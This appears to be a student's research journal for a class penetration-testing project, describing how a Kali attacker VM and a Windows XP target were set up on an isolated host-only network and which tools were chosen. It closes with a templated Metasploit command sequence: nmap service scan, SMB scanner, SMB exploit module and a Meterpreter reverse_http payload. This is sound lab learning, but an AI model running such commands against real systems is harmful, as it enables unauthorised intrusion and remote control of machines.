Journal research 1

https://github.com/Ibrahimelz/ASPS.git

8th of November:

At the beginning of the project research and during the writing of the proposal, I went on the Kali Linux tools window and saw 14 collections of tools (Information Gathering, Vulnerability Analysis, Web Applications, Database Assessment, Password Attacks, Wireless Attacks, Reverse Engineering, Exploitation Tools, Sniffing & Spoofing, Post Exploitation, Forensics, Reporting Tools, Social Engineering, System Services). There were a lot of tools, so I had to understand and select which ones would be useful for our project. I asked ChatGPT, “Can you explain the 14 sections of tools on the Kali Linux tools window?” (Friday 8th November at 1:30 pm). Then I picked the following 4 sections from the 14 sections which will help us pentest our Windows XP:

1. Reconnaissance: Gathers information about the target system.

2. Vulnerability Assessment: Identifies vulnerabilities in the target system.

3. Exploitation: Exploits the identified vulnerabilities to gain access to the target system.

4. Post-Exploitation: Once you have access, you gather data and maintain control of the target system.

For Reconnaissance, I chose Nmap because I personally found it easier to use and most tutorials I watched used it. For Vulnerability Assessment, I chose mainly OpenVAS because it’s a solid and useful tool for vulnerability scanning. For Exploitation, I chose Metasploit, which is widely used in the industry for exploiting vulnerabilities found by vulnerability assessment tools, and Hydra, known for its brute force attacks, which I think will be useful for getting the password of the admin target machine. For Post-Exploitation, I chose Meterpreter and WinPEAS. If it was a Linux target machine, I would have used Meterpreter alone, but because it’s a Windows machine, WinPEAS is especially useful for it.

When I came back home, I went on the Kali Linux website and downloaded the Kali ISO file. Then I followed this YouTube tutorial [Kali on VMware](https://www.youtube.com/watch?v=U0AMu3rznc4) to set up Kali on VMware. I then searched on Google for the internet archive because I was already familiar with the website and wondered if I could find a Windows XP ISO on it. After some navigation, I found it [Windows XP ISO](https://archive.org/details/WinXPProSP1). I didn’t watch any tutorial because I just did the same steps as with Kali, so I knew what to do. I entered the product key, and after some setup, it was ready.

Now that both were ready, I had to configure the network settings to Host-only to create a network between them without communicating with my home network for security purposes. After that was done, I ran the command `ifconfig` on Kali and `ipconfig` on Windows XP and got both IP addresses. I used the ping command on both virtual machines to verify if they were communicating with each other, and they were.

For my attacker machine, which is Kali, I didn't have to install Nmap because it's preinstalled. I tried to install OpenVAS, but it didn't work for me or Kais, and we spent hours on ChatGPT and YouTube without success. So we switched to Nessus, which is also a very good alternative to OpenVAS. We followed this YouTube tutorial [Nessus setup](https://www.youtube.com/watch?v=P2q9UQWywvw), and it worked on the first try. However, we later found out that Metasploit could scan for vulnerabilities, so we didn't need Nessus. For Exploitation, Metasploit and Hydra were pre-installed. We decided not to use Hydra yet because Metasploit could exploit Windows XP so well that we didn't need Hydra, even if there was a password. We didn't need the admin password to perform certain penetrations. For Post-Exploitation, Meterpreter is included in Metasploit, which is pre-installed. We decided not to install WinPEAS because Metasploit was sufficient to attack this old version of Windows. If it were Windows 11, we might have used WinPEAS for privilege escalation, but for now, we decided not to use it.

So, finally, the tools we will use are: Nmap, Metasploit, Meterpreter.

12th of November:

Now we need to learn how to use these tools. So I watched these 3 videos:

1:(https://www.youtube.com/watch?v=QynUOJanNqo)

2:(https://www.youtube.com/watch?v=K7y_-JtpZ7I)

3:(https://www.youtube.com/watch?v=6aq89UAlJwk)

For the first video, I couldn't do exactly what the guy was doing because he was attacking a Linux machine. In the second video, I was hoping to do what the guy was doing. But after trying, I discovered that the vulnerability (ms17_010_psexec) he used works on newer versions of Windows. Maybe that's why when I ran the exploit command, the session was never established. I haven't applied the third video yet because I haven't reached the Meterpreter use, which is the last step. So I am currently looking for other tutorials that will actually work for us where I can exploit the vulnerability ms08_067_netapi (which is well-known in Windows XP).

From all the videos I watched and the questions I asked ChatGPT about some commands, I understand the process of pentesting and what most commands do and why we use them. For example, one of the questions I asked ChatGPT was the difference between `set RHOSTS` and `set LHOST` (12 November 6:46 pm), and it explained that RHOSTS (Remote Hosts) uses the target machine IP address, and LHOST (Local Host) uses the local attacker's machine IP address.

So, I have a good background for now. My next step is to merge my knowledge and future videos to make my pentests work.

Here is all the commands I used following the second video:

```
nmap [ipaddress target] -Pn -sV

sudo msfconsole

grep scanner search smb

use auxiliary/scanner/smb/[vulnerability name]

show options

set RHOSTS [ipaddress target]

run

grep exploit search smb

use exploit/windows/smb/[ vulnerability name]

show options

 set RHOSTS [ipaddress target]

set payload

set payload windows/meterpreter/reverse_http

show options

exploit
```